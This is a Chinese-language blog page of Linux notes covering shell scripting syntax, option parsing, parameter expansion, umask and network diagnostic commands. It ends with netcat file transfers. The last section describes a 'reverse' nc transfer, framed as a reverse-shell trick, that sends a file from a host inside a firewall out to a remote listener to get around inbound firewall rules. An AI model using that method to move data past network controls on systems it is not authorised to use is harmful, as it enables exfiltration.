Hexo


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 日程表

kafka

发表于 2019-12-30 | 分类于 dotnet
字数统计: | 阅读时长 ≈

https://www.jianshu.com/p/3ed342a28a9d

kafka版本,

从kafka中查询用户日志优化

shell脚本技巧

发表于 2019-12-28 | 分类于 Linux
字数统计: | 阅读时长 ≈

linux中shell变量

linux中shell变量$#,$@,$0,$1,$2的含义解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

变量说明:
$$
Shell本身的PID(ProcessID)
$!
Shell最后运行的后台Process的PID
$?
最后运行的命令的结束代码(返回值)
$-
使用Set命令设定的Flag一览
$*
所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。
$@
所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。
$#
添加到Shell的参数个数
$0
Shell本身的文件名
$1~$n

A:$*和$@的区别

$*和 $@都表示传递给函数或脚本的所有参数,不被双引号(“ “)包含时,都以"$1" "$2" … "$n"的形式输出所有参数。
但是当它们被双引号(“ “)包含时,"$*" 会将所有的参数作为一个整体,以"$1 $2 … $n"的形式输出所有参数;"$@" 会将各个参数分开,以"$1" "$2" … "$n"的形式输出所有参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

#test.sh

#!/bin/bash
echo "\$*=" $*
echo "\"\$*\"=" "$*"
echo "\$@=" $@
echo "\"\$@\"=" "$@"
echo "print each param from \$*"
for var in $*
do
echo "$var"
done
echo "print each param from \$@"
for var in $@
do
echo "$var"
done
echo "print each param from \"\$*\""
for var in "$*"
do
echo "$var"
done
echo "print each param from \"\$@\""
for var in "$@"
do
echo "$var"
done

./test.sh "a" "b" "c" "d"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

$*= a b c d

"$*"= a b c d

$@= a b c d

"$@"= a b c d

print each param from $*

a

b

c

d

print each param from $@

a

b

c

d

print each param from "$*"

a b c d

print each param from "$@"

a

b

c

d

B:$?退出状态

就是上一个命令执行后的返回结果。退出状态是一个数字,一般情况下,大部分命令执行成功会返回 0,失败返回 1。不过,也有一些命令返回其他值,表示不同类型的错误。

getopts参数处理

使用getopts方式实现短选项的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

#getopts.sh

#!/bin/bash
PROG=`basename $0`
usage() {
cat <<EOF
Usage: ${PROG} [OPTION]…
Find out the highest cpu consumed threads of java, and print the stack of these threads.
Example: ${PROG} -i interface -P 3306 start
Options:
-i, interface
-c, port
-h, --help display this help and exit
EOF
exit $1
}
while getopts "i:P:" arg
do
case $arg in
i)
interface=${OPTARG:-any}
;;
P)
port=${OPTARG:-3306}
;;
?)
usage 1
;;
esac
done
interface=${interface:-any}
port=${port:-3306}
shift $(($OPTIND - 1))
if [ $# -eq 0 ]; then
usage 1
fi
mode=$1
echo $interface
echo $port
echo $mode

A:while getopts ":a:bc" opt

第一个冒号表示忽略错误;字符后面的冒号表示该选项必须有自己的参数

B:shift $(($OPTIND - 1))

通过shift $(($OPTIND - 1))的处理,$*中就只保留了除去选项内容的参数,可以在其后进行正常的shell编程处理了。

C:basename $0 取出文件名

D:usage 1代表传参1,在usage中执行exit 1退出

1
2
3
4

if [ $# -eq 0 ]; then
usage 1
fi

F:放在shift $(($OPTIND - 1))之后,有两个作用:一是传入参数为0时退出,二是选项之后没有跟参数时退出

G:getopts不能直接处理长的选项(如:–prefix=/home等)

H:内置变量$OPTARG和$OPTIND,$OPTARG存储相应选项的参数,而$OPTIND总是存储原始$*中下一个要处理的元素位置

I:interface=${OPTARG:-any}为了在interface为空字符串时赋值any,interface=${interface:-any},为了防止在interface没有输入时,设置为any

使用getopt实现长/短选项的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

#basename命令用于打印目录或者文件的基本名称

PROG=`basename $0`

usage() {
cat <<EOF
Usage: ${PROG} [OPTION]...
Find out the highest cpu consumed threads of java, and print the stack of these threads.
Example: ${PROG} -c 10
Options:
-p, --pid find out the highest cpu consumed threads from the specifed java process,
default from all java process.
-c, --count set the thread count to show, default is 5
-h, --help display this help and exit
EOF
exit $1
}

if [ $# -eq 0 ]; then
usage 1
fi

ARGS=`getopt -n "$PROG" -a -o c:p:h -l count:,pid:,help -- "$@"`

#等价于[ $? -ne 0 ] && usage,就是如果前面的错误就调用usage方法

[ $? -ne 0 ] && usage 1

eval set -- "${ARGS}"
while true; do
case "$1" in
-c|--count)
count="$2"
shift 2

#;;这是case语法
;;
-p|--pid)
pid="$2"
shift 2
;;
-h|--help)
usage
;;
--)
shift
break
;;
esac
done

getopt

1
2
3
4
5
6
7
8
9
10
11

-a, --alternative
Allow long options to start with a single ‘-’.

-l, --longoptions longopts 支持的长选项,由冒号和字符组成类似getopts

-o, --options shortopts 支持的短选项,同上

-n, --name progname 命令就是通过该名称被调用

-- "$@" 将所有参数列表当作getopt入参,

倒计时效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

#sc 保存当前光标位置
#rc 恢复光标到最后保存位置

#ed 向前清除一个字符

#tput.sh

tput sc

count=10;

while true; do

if [ $count -gt 1 ]; then

let count--;

sleep 1;

tput rc

tput ed

echo -n $count Seconds;

else

break

fi

done

read命令

A:read后面的变量只有name一个,也可以有多个,这时如果输入多个数据,则第一个数据给第一个变量,第二个数据给第二个变量,如果输入数 据个数过多,则最后所有的值都给第一个变量。如果太少输入不会结束。在read命令行中也可以不指定变量.如果不指定变量,那么read命令会将接收到的数据放置在环境变量REPLY中

-p参数,允许在read命令行中直接指定一个提示

B:计时输入

1
2
3
4
5
6
7
8
9

#!/bin/bash
if read -t 5 -p "please enter your name:" name
then
echo "hello $name ,welcome to my script"
else
echo "sorry,too slow"
fi
exit 0

格式化输出 echo “$(date +%Y-%m-%d\ %H:%M:%S) ** 该服务器没有安装 MySQL Server”

eval 用法

shift

A:位置参数可以用shift命令左移。比如shift 3表示原来的$4现在变成$1,原来的$5现在变成$2等等,原来的$1、$2、$3丢弃,$0不移动。不带参数的shift命令相当于shift 1

B:Shift 命令还有另外一个重要用途, Bsh 定义了9个位置变量,从 $1 到$9,这并不意味着用户在命令行只能使用9个参数,借助 shift 命令可以访问多于9个的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

#shift.sh

if [ $# -eq 0 ]
then
echo "Usage:x_shift2.sh 参数"
exit 1
fi
sum=0
until [ $# -eq 0 ]
do
sum=`expr $sum + $1`
shift
done
echo "sum is: $sum"

./shift.sh 10 20 15

eval

eval命令将会首先扫描命令行进行所有的替换,然后再执行命令。该命令使用于那些一次扫描无法实现其功能的变量。该命令对变量进行两次扫描。这些需要进行两次扫描的变量有时候被称为复杂变量

eval set -- "{value}"

If no arguments follow this option, then the positional parameters are unset. Otherwise, the positional parameters are set to the args, even if some of them begin with a -.(即使有些参数是以-开头的,只要有参数,都会被设置位置参数)

1
2
3
4
5
6
7
8
9
10
11
12
13

#eval也可以用于回显简单变量,不一定时复杂变量。
NAME=ZONE
eval echo $NAME等价于echo $NAME
#两次扫描
test.txt内容:hello shell world!
myfile="cat test.txt"
(1)echo $myfile  #result:cat test.txt
(2)eval echo $myfile  #result:hello shell world!
从(2)可以知道第一次扫描进行了变量替换,第二次扫描执行了该字符串中所包含的命令
#获得最后一个参数
echo "Last argument is $(eval echo \$$#)"
echo "Last argument is $(eval echo $#)"

2> /dev/null || true

Regarding || true - If command return non 0 (zero) exit status (that usually indicating some type of error/failure) then true forcible set exit status code to 0 (zero) indicating success

stdin(标准输入,文件描述符0),stdout(标准输出,文件描述符1)和stderr(标准错误,文件描述符2)

2> /dev/null将错误信息丢弃

2>&1 将标准错误重定向到标准输出的地址(&1)

&>/dev/null 所有IO重定向(&>中的&可以代表任意,0,1,2,3……)

https://superuser.com/questions/1179844/what-does-dev-null-21-true-mean-in-linux

&&与|| 和&

&放在启动参数后面表示设置此进程为后台进程,一般为了防止信息输出干扰屏幕可以ping 127.0.0.1 &>/dev/null &

command1 && command2,如果command1执行成功,那么执行command2

command1 || command2,如果command1执行失败,那么执行command2

运算符

  • 算术运算符
  • 关系运算符

关系运算符只支持数字,不支持字符串,除非字符串的值是数字。
下表列出了常用的关系运算符,假定变量 a 为 10,变量 b 为 20:

  • 布尔运算符
    运算符 说明 举例
    ! 非运算,表达式为 true 则返回 false,否则返回 true。 [ ! false ] 返回 true。
  • o 或运算,有一个表达式为 true 则返回 true。 [ $a -lt 20 -o $b -gt 100 ]返回 true。
  • a 与运算,两个表达式都为 true 才返回 true。 [ $a -lt 20 -a $b -gt 100 ]返回 false。
    • 逻辑运算符
      运算符 说明 举例
      && 逻辑的 AND [[ $a -lt 100&&$b -gt 100 ]] 返回 false
      || 逻辑的 OR [[ $a -lt 100 || $b -gt 100 ]] 返回 true
    • 字符串运算符
      运算符 说明 举例
      = 检测两个字符串是否相等,相等返回 true。 [ $a = $b ] 返回 false。
      != 检测两个字符串是否相等,不相等返回 true。 [ $a != $b ] 返回 true。
  • z 检测字符串长度是否为0,为0返回 true。 [ -z $a ] 返回 false。
  • n 检测字符串长度是否为0,不为0返回 true。 [ -n $a ] 返回 true。
    str 检测字符串是否为空,不为空返回 true。 [ $a ] 返回 true。
    • 文件测试运算符
      操作符 说明 举例
  • b file 检测文件是否是块设备文件,如果是,则返回 true。 [ -b $file ]返回 false。
  • c file 检测文件是否是字符设备文件,如果是,则返回 true。 [ -c $file ] 返回 false。
  • d file 检测文件是否是目录,如果是,则返回 true。 [ -d $file ]返回 false。
  • f file 检测文件是否是普通文件(既不是目录,也不是设备文件),如果是,则返回 true。 [ -f $file ] 返回 true。
  • g file 检测文件是否设置了 SGID 位,如果是,则返回 true。 [ -g $file ]返回 false。
  • k file 检测文件是否设置了粘着位(Sticky Bit),如果是,则返回 true。 [ -k $file ]返回 false。
  • p file 检测文件是否是有名管道,如果是,则返回 true。 [ -p $file ] 返回 false。
  • u file 检测文件是否设置了 SUID 位,如果是,则返回 true。 [ -u $file ]返回 false。
  • r file 检测文件是否可读,如果是,则返回 true。 [ -r $file ] 返回 true。
  • w file 检测文件是否可写,如果是,则返回 true。 [ -w $file ] 返回 true。
  • x file 检测文件是否可执行,如果是,则返回 true。 [ -x $file ] 返回 true。
  • s file 检测文件是否为空(文件大小是否大于0),不为空返回 true。 [ -s $file ] 返回 true。
  • e file 检测文件(包括目录)是否存在,如果是,则返回 true。 [ -e $file ]返回 true。
    Shell 基本运算符

dirname截取给定路径目录部分

1.示例1

1
2
3
#!/bin/sh  
# 跳转到脚本所在目录
cd $(dirname "$0") || exit 1

2.示例2

1
2
>> dirname /usr/bin/sort 
/usr/bin

#跳转到脚本所在目录,并输出当前目录地址到SCRIPTS_DIR变量,

1
SCRIPTS_DIR="$(cd $(dirname "$0"); pwd -P)"
  • pwd
    • -P代表avoid all symlinks(避免所有符号链接)
      1
      2
      3
      4
      5
      6
      7
      [root@server /home/q/mysql/multi/3308/private]# ln -s /tmp test
      [root@server /home/q/mysql/multi/3308/private]# ll
      lrwxrwxrwx 1 root root 4 Mar 21 23:50 test -> /tmp
      [root@server /home/q/mysql/multi/3308/private/test]# pwd
      /home/q/mysql/multi/3308/private/test
      [root@server /home/q/mysql/multi/3308/private/test]# pwd -P
      /tmp

pv

通过管道监视数据的进度

1
2
-f, --force
Force output. Normally, pv will not output any visual display if standard error is not a terminal. This option forces it to do so.

点命令

A:. $(dirname $0)/wsrep_sst_common从当前目录读取wsrep_sst_common文件并在当前进程执行,类似import语句,相当于source命令
B:可以使用点命令/source命在不修改文件权限的情况下,直接执行shell脚本. test.sh/source test.sh,它与直接执行shell的区别在于这样执行的shell是在本地shell中执行,而./test.sh 是在子shell中执行。
C:常用在多个shell文件公用变量时,可以将变量抽到一个文件中,在使用时source进去
15.declare用于声明 shell 变量
-a Each name is an indexed array variable (see Arrays above).

冒号命令

没有效果; 该命令除了扩展参数和执行任何指定的重定向之外什么都不做。 返回零退出代码

  • 脚本注释、占位符

    • 占位符啥也不做,只起到占位符的作用。比如在编写脚本的过程中,某些语法结构需要多个部分组成,但开始阶段并没有想好或完成相应的代码,这时就可以用:来做占位符,否则执行时就会报错。
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      #!/bin/sh  

      : this is single line comment

      : 'this is a multiline comment,
      second line
      end of comments'

      if [ "1" == "1" ]; then
      echo "yes"
      else
      :
      fi
  • 执行任何指定的重定向

    1
    2
    : > file等价于>file
    : ${VAR:=DEFAULT} 等价于 VAR=${VAR:=DEFAULT} 相当于将VAR重定向为DEFAULT值

shell中的冒号“:”–个人整理总结版-注意与makfle中:的区别

shell特殊字符和引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ 变量表达式
& 后台作业
* 字符串通配符
( 启动子 shell
) 停止子 shell
\ 应用下一个字符
| 管道
[ 开始字符集通配符号
] 结束字符集通配符号
{ 开始命令块
} 结束命令块
; shell 命令分隔符
' 强引用
" 弱引用
< 输入重定向
输出重定向
/ 路径名目录分割符
? 单个任意字符
! 管道行逻辑 NOT

bash 数组学习笔记

bash 数组学习笔记

shell 编程:冒号 后面跟 等号,加号,减号,问号的意义

  • :=句法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    只有当变量username已被定义,而且是一个空值时,变量username才会被设置为变量LOGNAME的值
    [root@server ~]# username=""
    [root@server ~]# echo "${username:=$LOGNAME}"
    root
    [root@server ~]# username="ss"
    [root@server ~]# echo "${username:=$LOGNAME}"
    ss
    [root@server ~]# echo "${name:=$LOGNAME}"
    root
    [root@server ~]# echo $name
    root
    [root@server ~]#
  • =句法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    只有当变量name未被定义过,变量name才会被设置为变量LOGNAME的值,当username被定义过,则会输出空行
    [root@server ~]# username=""
    [root@server ~]# echo "${username=$LOGNAME}"

    [root@server ~]# username="ss"
    [root@server ~]# echo "${username=$LOGNAME}"
    ss
    [root@server ~]# echo "${name=$LOGNAME}"
    root
    [root@server ~]# echo $name
    root

:=句法要比=句法限制更松些,:=句法允许变量为空,只有:=句法和=句法赋值
当脚本或者函数需要依赖某些定义变量时,就要使用这种语法。它主要应用于登陆。如果一个特定环境变量还没有被定义,就可以给它赋予脚本所需要的值


  • :-句法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    只有当变量username为空时,在`“${}”`句法中username被替换为`$LOGNAME`
    [root@server ~]# username=""
    [root@server ~]# echo "${username:-$LOGNAME}"
    root
    [root@server ~]# echo $username

    [root@server ~]# username="ss"
    [root@server ~]# echo "${username:-$LOGNAME}"
    ss
    [root@server ~]# echo "${usernameee:-$LOGNAME}"
    root
  • -句法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    只有当变量username为空时,在`“${}”`句法中username不会被替换
    [root@server ~]# username=""
    [root@server ~]# echo "${username-$LOGNAME}"

    [root@server ~]# username="ss"
    [root@server ~]# echo "${username-$LOGNAME}"
    ss
    [root@server ~]# echo "${usernamesss-$LOGNAME}"
    root

:-句法要比-句法限制更松些,:-句法允许变量为空,但是与:=句法要比`=句法区别是都不会给变量赋值
当脚本评价或检查系统环境的时,:-句法和-句法都可以使用。这两种检查基本上是相反的,它们用默认值替换变量,或者甚至于不依赖username变量是否已经被定义。如果脚本中急需要一组被定义的变量,也需要一些不该被定义的变量,那么在脚本执行任务之前组合这两种句法,肯定可以实现正确的设置。


  • :?句法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    当变量未被定义或者定义了一个空值时,那么在echo命令中就会使用LOGNAME的值,并且脚本退出执行
    [root@server ~]# username="sss"
    [root@server ~]# echo "${username:?$LOGNAME}"
    sss
    [root@server ~]# username=""
    [root@server ~]# echo "${username:?$LOGNAME}"
    bash: username: root
    [root@server ~]# echo "${useme:?$LOGNAME}"
    bash: useme: root
  • ?句法

    1
    2
    3
    4
    5
    当变量未被定义时那么在echo命令中就会使用LOGNAME的值,并且脚本退出执行
    [root@server ~]# username=""
    [root@server ~]# echo "${username?$LOGNAME}"
    [root@server ~]# echo "${userna?$LOGNAME}"
    bash: userna: root

:?句法与?句法区别在于,?句法允许变量为空”


  • :+句法只有当变量已被定义而且是非空的时候,“${}”表达式才执行替换

    1
    2
    3
    4
    5
    6
    7
    [root@server ~]# username="ss"
    [root@server ~]# echo "${username:+$LOGNAME}"
    root
    [root@server ~]# username=""
    [root@server ~]# echo "${username:+$LOGNAME}"

    [root@server ~]# echo "${usernam+$LOGNAME}"
  • +句法,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    只要变量被定义了即使为空,“${}”表达式也执行替换
    [root@server ~]# echo "${use+$LOGNAME}"

    [root@server ~]# username="ss"
    [root@server ~]# echo "${username+$LOGNAME}"
    root
    [root@server ~]# username=""
    [root@server ~]# echo "${username+$LOGNAME}"
    root

:+句法要比+句法要求苛刻些,+句法允许变量为空


区别:

  • :?句法与?句法与其他句法区别
    错误之后退出,其他不会
  • :=句法与=句法与其他句法区别
    只有:=句法与`=句法会将结果赋值给变量,其他都不会
  • :+、+ 与:-、-区别
    最主要的区别是:+、+示例检查的是一个已定义的变量,而不是未定义的变量
  • :?句法、?句法与:=句法、=句法区别
    主要区别是?会退出,=会赋值.
    linux bash shell之变量替换

Linux shell 中$() 反引号,${},$[] $(()),[ ] (( )) [[ ]]作用与区别

  • $()和 反引号
    用来做命令替换用

    • 各自的优缺点
      a.反引号 基本上可用在全部的 unix shell 中使用,若写成 shell script ,其移植性比较高。但反单引号容易打错或看错。
      b.$()并不是所有shell都支持。
      1
      2
      3
      4
      5
      6
      [root@server ~]# version=$(uname -r)
      [root@server ~]# echo $version
      2.6.32-358.23.2.el6.x86_64
      [root@server ~]# version=`uname -r`
      [root@server ~]# echo $version
      2.6.32-358.23.2.el6.x86_64
  • ${ }
    ${ }用于变量替换。一般情况下,$var 与${var} 并没有啥不一样。但是用 ${ } 会比较精确的界定变量名称的范围

    1
    2
    3
    4
    5
    [root@server ~]# A=B
    [root@server ~]# echo $AB

    [root@server ~]# echo ${A}B
    BB
1
2
3
4
5
6
7
8
9
10
11
12
[root@server ~]#  A='abcde'
[root@server ~]# echo ${A#cd}
abcde
[root@server ~]# echo ${A#ab}
cde
[root@server ~]# echo ${A%de}
abc
[root@server ~]# A='abcabcde'
[root@server ~]# echo ${A/abc/df}
dfabcde
[root@server ~]# echo ${A//abc/df}
dfdfde
  • $[] $(())
    它们是一样的,都是进行数学运算的。支持+ - * / %:分别为 “加、减、乘、除、取模”。但是注意,bash只能作整数运算,对于浮点数是当作字符串处理的
    1
    2
    3
    4
    5
    6
    7
    [root@server ~]# a=5; b=7; c=2
    [root@server ~]# echo $(( a+b*c ))
    19
    [root@server ~]# echo $(( (a+b)/c ))
    6
    [root@server ~]# echo $(( (a*b)%c))
    1

在 $(( )) 中的变量名称,可于其前面加$符号来替换,也可以不用
$(( $a + $b * $c)) 也可得到 19 的结果

  • [ ]:
    即为test命令的另一种形式

1.你必须在左括号的右侧和右括号的左侧各加一个空格,否则会报错
2.test命令使用标准的数学比较符号来表示字符串的比较,而用文本符号来表示数值的比较。很多人会记反了。使用反了,shell可能得不到正确的结果。
3.大于符号或小于符号必须要转义,否则会被理解成重定向。

  • (( ))及[[ ]]:
    它们分别是[ ]的针对数学比较表达式和字符串表达式的加强版
    • 在[[ ]]中增加了另一个特性:模式匹配
    • 其中(( )),不需要再将表达式里面的大小于符号转义,除了可以使用标准的数学运算符外,还增加了以下符号:

Linux shell 中$() ,${},$[] $(()),[ ] (( )) [[ ]]作用与区别

获取本机IP地址

1
2
ipaddr=`/sbin/ifconfig | grep 'inet addr:' | grep -v '127.0.0.1'|cut -d : -f2 | awk '{print $1}'`
echo $ipaddr

umark 022

预设权限
目录的预设权限是:

1
0777 drwxrwxrwx

文件的预设权限是:

1
0666 -rw-rw-rw-

其中r的十进制值是4,w的十进制值是2,x的十进制值是1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
umask=022中"022"是八进制的写法,如果换成二进制是000010010
在unix中文件权限是三类用户,三种权限。三类用户分别是文件所有者user(u),文件所有者所在主群组group(g)、其它用户others(o),三种权限分别是起读read(r)、写write(w)、执行execute(x)。
如果一个文件的权限如下:所有者有读写的权限,群组有读和执行权限、其它用户有读权限,可以写成:
rw-r-xr--
其中前三位指明了所有者的权限、中间三位指明了组权限、最后三位指明了其它用户的权限。我们用ls -l可以看到文件权限详情,列出来的是10位,最前一位如果是d表示是子目录。
说回来,如果把这上面9位字母换成二进制数则是:
110101100
如果换成八进制是多少?
因此文件权限可以用9位二进制数表示。umask在英文中是屏蔽的意思,那么
umask=022
指屏蔽文件的022权限,到底屏蔽了什么?将这个八进制数用二进制表示
000010010
换算成字母是
----w--w-
#指取消组的写权限、取消其它用户的写权限。
屏蔽这些权限后,剩下什么权限呢?用字母表示是:
#rwxr-xr-x
用二进制数表示是:
111101101
你可以对比一下
000010010
可以知道屏蔽前后的换算关系。

umask决定目录和文件被创建时得到的初始权限
umask = 022时
新建的目录 权限是755
文件的权限是 644

readonly WSREP_SST_OPT_BYPASS

readonly命令用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。
http://man.linuxde.net/readonly

Linux文件操作命令

发表于 2019-12-28 | 分类于 Linux
字数统计: | 阅读时长 ≈

more

功能类似 cat ,cat命令是整个文件的内容从上到下显示在屏幕上。 more会以一页一页的显示方便使用者逐页阅读,more命令从前向后读取文件,因此在启动时就加载整个文件.

参数命令
-n 定义屏幕大小为n行,不指定会覆盖整个屏幕
常用操作命令:
按 b 键就会往回(back)一页显示
空格键 向下滚动一屏
= 输出当前行的行号
:f 输出文件名和当前行的行号
!命令 调用Shell,并执行命令
q 退出more
例子:
ls -l |more -2
more命令

grep

-c 抑制正常输出; 而是为每个输入文件打印一个匹配行数,用-v部分计算不匹配的行
-v排除某一行

1
2
[root@server ~]# grep -c for httpserver.py
4

未命名

发表于 2019-12-28
字数统计: | 阅读时长 ≈

Linux网络命令

发表于 2019-12-28 | 分类于 Linux命令
字数统计: | 阅读时长 ≈

网络配置

ethtool

ethtool 是用于查询及设置网卡参数的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[root@server ~]# ethtool em3
Settings for em3:
 Supported ports: [ TP ]
 Supported link modes: 10baseT/Half 10baseT/Full
                         100baseT/Half 100baseT/Full
                         1000baseT/Full
 Supported pause frame use: Symmetric
 Supports auto-negotiation: Yes
 Advertised link modes: 10baseT/Half 10baseT/Full
                         100baseT/Half 100baseT/Full
                         1000baseT/Full
 Advertised pause frame use: Symmetric
 Advertised auto-negotiation: Yes #自动协商关闭
 Speed: 1000Mb/s
 Duplex: Full #全双工
 Port: Twisted Pair
 PHYAD: 1
 Transceiver: internal
 Auto-negotiation: on
 MDI-X: on (auto)
 Supports Wake-on: d
 Wake-on: d
 Current message level: 0x00000007 (7)
          drv probe link
 Link detected: yes  # linux的网卡是否已经连接网线

ifconfig

1
2
3
4
5
6
7
8
9
10
11
12
13
ifconfig
bond0 Link encap:Ethernet HWaddr 40:A8:F0:23:55:FC
          inet addr:10.88.145.147 Bcast:10.88.147.255 Mask:255.255.252.0
          UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1
          RX packets:447831519898 errors:0 dropped:94610 overruns:0 frame:0
          TX packets:384908972374 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:490100615940053 (445.7 TiB) TX bytes:396116630222981 (360.2 TiB)
第一行:连接类型:Ethernet(以太网)HWaddr(硬件mac地址)
第二行:网卡的IP地址、子网、掩码
第三行:UP(代表网卡开启状态)RUNNING(代表网卡的网线被接上)MULTICAST(支持组播)MTU:1500(最大传输单元):1500字节
第四、五行:接收、发送数据包情况统计
第七行:接收、发送数据字节数统计信息。
1
2
3
4
卸载网卡
sudo ifconfig vmnet1 down
启动网卡
sudo ifconfig vmnet1 up

ifconfig ifup ifdown

https://huangkaibo.cn/2018/04/21/ifconfig-ifup-ifdown/

1
2
ifup eth0
ifdown eth0

dhclinet

dhclient命令使用动态主机配置协议动态的配置网络接口的网络参数

域名路由

route

route -n # 查看路由表

netstat

netstat -nr
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
10.86.40.0 0.0.0.0 255.255.252.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
0.0.0.0 10.86.40.1 0.0.0.0 UG 0 0 0 eth0

dig

dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具

1
tldr dig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
DNS Lookup utility.

- Lookup the IP(s) associated with a hostname (A records):
dig +short hostname.com

- Lookup the mail server(s) associated with a given domain name (MX record):
dig +short hostname.com MX

- Get all types of records for a given domain name:
dig hostname.com ANY

- Specify an alternate DNS server to query:
dig @8.8.8.8 hostname.com

- Perform a reverse DNS lookup on an IP address (PTR record):
dig -x 8.8.8.8

- Find authoritative name servers for the zone and display SOA records:
dig +nssearch hostname.com

- Perform iterative queries and display the entire trace path to resolve a domain name:
dig +trace hostname.com

控制输出

输出内容太多,只显示结果

1
dig +nssearch baidu.com any |awk '{print($11)}'
1
dig +noall +answer dubai.com any|awk '{print($5)}'

网络连接

ss

查看开放端口

1
2
3
4
[root@server ~]# ss -lt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:1001 *:*
LISTEN 0 50 *:mysql *:*

ss
ss的含义 Socket State
查看链接
https://blog.csdn.net/arkblue/article/details/7876210

netstat

1
2
3
netstat -ni
i 提供网络接口的信息,
n 输出数值地址,而不是试图把他们反向解析成名字
1
2
3
4
5
6
7
netstat -na|less
Proto Recv-Q Send-Q Local Address
tcp4 9 0 127.0.0.1.16000 127.0.0.1.49895 ESTABLISHED
tcp4 3762 0 127.0.0.1.16000 127.0.0.1.49899 ESTABLISHED
tcp4 215 0 127.0.0.1.16000 127.0.0.1.49894 ESTABLISHED
tcp4 127 0 127.0.0.1.16000 127.0.0.1.49891 ESTABLISHED
tcp4 334 0 127.0.0.1.16000 127.0.0.1.49907 ESTABLISHED

查看机器开放哪些端口:

1
netstat -tunlp

查看进程对应开放端口

1
netstat -tunlp|grep pid

lsof

查看端口使用情况
lsof -i tcp:port
查看进程详细信息
lsof -p pid

流量统计

iftop

nsload

网络抓包

tshark

tshark不仅有抓包的功能,还带了解析各种协议的能力
https://www.centos.bz/2014/07/linux-commandline-capture-packets-tshark-wireshark/
http://www.qingpingshan.com/pc/fwq/353123.html

tcpdump

tcpdump复杂过滤规则

1
2
tcpdump -s 65535 -x -nn -q -tttt -i any -c __count__ host __host__ -w data.cap
tcpdump -s 65535 -x -nn -q -tttt -i any -c __count__ port __port__ -w data.cap

tcpdump抓取http的请求头和响应信息

ngrep

1
2
sudo ngrep -x -q -d lo '' 'port __port__'
sudo ngrep -x -q -d eth0 '' 'host __host__'

文件传输

scp

sftp命令

https://linux.cn/article-8253-1.html

nc

NetCat,在网络工具中有“瑞士军刀”美誉,一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据,但是不同版本支持参数会有差异,当某些参数不能用时可以先确认下版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[root@server1 ~]# type -a nc
nc is /usr/bin/nc
# 查看安装nc的rpm包
root@server1 ~]# rpm -q nc
nc-1.84-22.el6.x86_64
# 查看安装路径
[root@server1 ~]# rpm -ql nc
/usr/bin/nc
/usr/share/doc/nc-1.84
/usr/share/doc/nc-1.84/README
/usr/share/doc/nc-1.84/scripts
/usr/share/doc/nc-1.84/scripts/README
/usr/share/doc/nc-1.84/scripts/alta
/usr/share/doc/nc-1.84/scripts/bsh
/usr/share/doc/nc-1.84/scripts/dist.sh
/usr/share/doc/nc-1.84/scripts/irc
/usr/share/doc/nc-1.84/scripts/iscan
/usr/share/doc/nc-1.84/scripts/ncp
/usr/share/doc/nc-1.84/scripts/probe
/usr/share/doc/nc-1.84/scripts/web
/usr/share/doc/nc-1.84/scripts/webproxy
/usr/share/doc/nc-1.84/scripts/webrelay
/usr/share/doc/nc-1.84/scripts/websearch
/usr/share/man/man1/nc.1.gz
# 查看帮助命令
[root@server1 ~]# man nc
# 查看centos版本信息
[root@server1 ~]# cat /etc/redhat-release
CentOS release 6.4 (Final)

下面以Centos6.4,nc1.84.22版本进行演示,A机器ip:192.168.10.1 B机器ip: 192.168.10.2

传输文件

主机A传输数据到主机B

nc 使用不同的箭头符号来控制到底是接收数据还是发送数据,下面是由主机A传输数据到主机B

正向传输

参数解释:

  • -l: 指定监听端口

一般正常传输,主机A开启监听,主机B nc连接获取数据

1
2
主机A: nc -l 1234 < xxx.txt
主机B: nc 192.168.10.1 1234 > xxx.txt
反向传输

当存在防火墙的时候,一般防火墙设置策略是:只会限制远程机器不能直接访问本机开放的特殊端口,但是并不会限制本地机器访问远程机器,这样可以使用反向shell,在远程主机B上开启监听,墙内机器A nc连接 远程主机B

1
2
墙内主机A: nc 192.168.10.2 1234 < xxx.txt
远程主机B: nc -l 1234 > xxx.txt

主机B传输数据到主机A

